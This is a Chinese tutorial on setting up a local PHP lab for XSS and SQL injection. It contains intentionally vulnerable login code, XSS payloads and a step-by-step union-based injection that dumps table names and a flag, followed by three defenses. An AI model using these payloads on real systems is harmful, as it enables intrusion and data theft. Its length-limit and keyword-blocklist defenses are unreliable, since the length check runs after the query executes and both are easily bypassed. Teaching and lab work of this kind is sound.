xss和sql注入简单环境的搭建 以下环境都是基于PHP study搭建的,版本为 php 5.5.38+Apache
参考了dvwa的漏洞源码与攻击方式。
xss漏洞的搭建 1.网页源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"> <title>xss</title> </head> <body> <center> <form action="" method="post"> <h6>please input your name!</h6> <input type="text" name="username" value="" /><br /> <input type='submit' value="submit" /> </form> <?php function SafeFilter (&$arr) { $ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/' ,'/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/' ,'/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/', '/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/' ,'/onmouseout/','/onmouseover/','/onmouseup/','/onunload/'); if (is_array($arr)) { foreach ($arr as $key => $value) { if (!is_array($value)) { if (!get_magic_quotes_gpc()) //不对magic_quotes_gpc转义过的字符使用addslashes(),避免双重转义。 { $value = addslashes($value); //给单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符) 加上反斜线转义 } $value = preg_replace($ra,'',$value); //删除非打印字符,粗暴式过滤xss可疑字符串 $arr[$key] = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体 } else { SafeFilter($arr[$key]); } } } } //php防注入和XSS攻击通用过滤 $_POST && SafeFilter($_POST); if (isset($_POST['username'])) { $s=$_POST['username']; echo $s; } ?> </center> </script> </body> </html>
网页源码十分简单,就是用户输入所要查询的username,之后将其输入的内容打印出来。
起初并没有对用户的输入进行处理,直接执行了echo
,造成了xss漏洞的出现。
2.攻击效果 在输入栏中输入以下
1 2 3 <script > alert("xss" ) </script > <img src =1 onerror =alert(/xsss/) >
3.漏洞修复 修复漏洞只需要对用户的输入内容进行检测和过滤,并将一些可能造成攻击的特殊字符进行转义,让其不起到原本的作用。
过滤函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 function SafeFilter (&$arr ) { $ra =Array ('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/' ,'/script/' ,'/javascript/' ,'/vbscript/' ,'/expression/' ,'/applet/' ,'/meta/' ,'/xml/' ,'/blink/' ,'/link/' ,'/style/' ,'/embed/' ,'/object/' ,'/frame/' ,'/layer/' ,'/title/' ,'/bgsound/' ,'/base/' ,'/onload/' ,'/onunload/' ,'/onchange/' ,'/onsubmit/' ,'/onreset/' ,'/onselect/' ,'/onblur/' ,'/onfocus/' , '/onabort/' ,'/onkeydown/' ,'/onkeypress/' ,'/onkeyup/' ,'/onclick/' ,'/ondblclick/' ,'/onmousedown/' ,'/onmousemove/' ,'/onmouseout/' ,'/onmouseover/' ,'/onmouseup/' ,'/onunload/' ); if (is_array($arr )) { foreach ($arr as $key => $value ) { if (!is_array($value )) { if (!get_magic_quotes_gpc()) { $value = addslashes($value ); } $value = preg_replace($ra ,'' ,$value ); $arr [$key ] = htmlentities(strip_tags($value )); } else { SafeFilter($arr [$key ]); } } } }
各个函数功能如下:
magic_quotes_gpc 函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
在magic_quotes_gpc=On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。
addslashes函数
htmlentities() 函数把字符转换为 HTML 实体。
sql注入环境搭建与攻击 网页源码,最常见的登录页面,其中没有对用户名和密码进行过滤,就将其带入sql语句中查询造成了sql注入的出现。
login.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <!DOCTYPE html> <html ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Sqli</title> </head> <body> <body> <div class="limiter"> <div class="container-login100"> <div class="wrap-login100 p-b-160 p-t-50"> <form class="login100-form validate-form" action="check.php" method="post"> <span class="login100-form-title p-b-43"> Account Login </span> <div class="wrap-input100 rs1 validate-input" data-validate="Username is required"> <input class="input100" type="text" name="username"> <span class="label-input100">Username</span> </div> <div class="wrap-input100 rs2 validate-input" data-validate="Password is required"> <input class="input100" type="password" name="password"> <span class="label-input100">Password</span> </div> <div class="container-login100-form-btn"> <button type="submit" class="login100-form-btn"> Sign in </button> </div> </form> </div> </a> </div> </body> </html>
check.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $pwd =$_POST ['password' ];$uname =$_POST ['username' ];$mysqli = new mysqli('localhost' ,'root' ,'root' ,'test' ); if (mysqli_connect_errno()){ printf("fail:%s<br>" ,mysqli_connect_error()); exit (); } $result = $mysqli ->query("select * from users where username='$uname ' and password='$pwd '" );echo "<TABLE border=1,width=400>" ;echo "<tr><th>Name</th><th>Password</th><tr>" ;if ($row =mysqli_fetch_row($result )){ printf ("<tr><td>%s</td><td>%s</td></tr>" ,$row [1 ],$row [2 ]); echo "<br>" ; echo "login success" ; } else { echo "username or password error" ; } $mysqli ->close();$result ->close();?>
逻辑很简单,在login.php页面提交用户名和密码,将username和password发送到check.php页面连接数据库检查用户是否合法,用户名和密码都正确则,打印出用户名和密码。
在数据库建立了一张users和flag表,便于注入。
表中的内容如下
1.漏洞利用 直接使用万能密码登陆
1 2 username :1 ' or 1 =1 #username :111
结果打印出了第一个用户的用户名和密码
这个结果也说名了是字符型注入,接下来利用改注入点获取flag
判断表有几列 1 2 3 1 ' order by 3 页面显示正常,而改为4 的时候网页出现报错,说明了只有三列 1 ' order by 4
判断显示位 1 ' union select 1 ,database (),3 #
说明有两个显示位,选择其中一个位置进行注入即可。
获取表名 1 ' union select 1 ,group_concat (table_name),3 from information_schema.TABLES where TABLE_SCHEMA=database ()#
获取列名 1 ' union select 1 ,group_concat (COLUMN_name),3 from information_schema.COLUMNS where TABLE_NAME='flag'#
(fl4g是dvwa实验中建立没有删除,所以也显示出来了)
获取flag 1 ' union select 1 ,group_concat(flag),3 from flag
2.漏洞防御 方法一: 最简单的方法对用户名和密码的长度限制,一般用户名的长度不超过十五个字符,而密码的长度一般不超过16个字符长度,所以对用户输入限制长度是最有效的方法之一。因为一般的注入语句都是超过十六个字符的,想要在十六个字符之内构造出有效的注入语句是一件很难的事情。
代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php $pwd =$_POST ['password' ];$uname =$_POST ['username' ];$mysqli = new mysqli('localhost' ,'root' ,'root' ,'test' ); if (mysqli_connect_errno()){ printf("fail:%s<br>" ,mysqli_connect_error()); exit (); } $result = $mysqli ->query("select * from users where username='$uname ' and password='$pwd '" );echo "<TABLE border=1,width=400>" ;echo "<tr><th>Name</th><th>Password</th><tr>" ;if (strlen($pwd )>=16 ||strlen($uname )>=15 ){ echo "It is too long." ; } else if ($row =mysqli_fetch_row($result )){ printf ("<tr><td>%s</td><td>%s</td></tr>" ,$row [1 ],$row [2 ]); echo "<br>" ; echo "login success." ; } else { echo "username or password error." ; } $mysqli ->close();$result ->close();?>
方法二 对用户输入进行检测和过滤,将其输入的可能产生恶意行为的代码删除或者转义,使其失去原来的功能。
代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php $pwd =$_POST ['password' ];$uname =$_POST ['username' ];function inject_check ($Sql_Str ) { $check =preg_match('/select|from|where|if|database|order|insert|update|or|group_concat|\'|\\*|\*|\.\.\/|\.\/|union|and|ascii|substring|sleep/i' ,$Sql_Str ); if ($check ) { echo '<script language="JavaScript">alert("hacker");</script>' ; exit (); }else { return $Sql_Str ; } } $pwd =inject_check($pwd );$uname = inject_check($uname );$mysqli = new mysqli('localhost' ,'root' ,'root' ,'test' ); if (mysqli_connect_errno()){ printf("fail:%s<br>" ,mysqli_connect_error()); exit (); } $result = $mysqli ->query("select * from users where username='$uname ' and password='$pwd '" );echo "<TABLE border=1,width=400>" ;echo "<tr><th>Name</th><th>Password</th><tr>" ;if ($row =mysqli_fetch_row($result )){ printf ("<tr><td>%s</td><td>%s</td></tr>" ,$row [1 ],$row [2 ]); echo "<br>" ; echo "login success." ; } else { echo "username or password error." ; } $mysqli ->close();$result ->close();?>
过滤函数如下,其中将一般注入需要用到的函数和符号都过滤了。
1 2 3 4 5 6 7 8 9 function inject_check ($Sql_Str ) { $check =preg_match('/select|from|where|if|database|order|insert|update|or|group_concat|\'|\\*|\*|\.\.\/|\.\/|union|and|ascii|substring|sleep/i' ,$Sql_Str ); if ($check ) { echo '<script language="JavaScript">alert("hacker");</script>' ; exit (); }else { return $Sql_Str ; } }
方法三 使用预编译语句
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php $pwd =$_POST ['password' ];$uname =$_POST ['username' ];$mysqli = new mysqli('localhost' ,'root' ,'root' ,'test' ); if (mysqli_connect_errno()){ printf("fail:%s<br>" ,mysqli_connect_error()); exit (); } echo "<TABLE border=1,width=400>" ;echo "<tr><th>Name</th><th>Password</th><tr>" ;$result = $mysqli ->prepare("select * from users where username=? and password=?" );$result ->bind_param('ss' ,$uname ,$pwd );$result ->execute();$result ->store_result();$result ->bind_result($id ,$un ,$pd ); if ($result ->fetch()){ printf("<tr><td>%s</td><td>%s</td></tr>" ,$un ,$pd ); } else { echo "username or password error." ; } echo "</TABLE>" ;echo "</div>" ;$result ->close();$mysqli ->close();?>
应用预编译语句后,再次输入注入语句后就不再起到注入作用,只是将其当成正常的查询过程,返回相应的结果。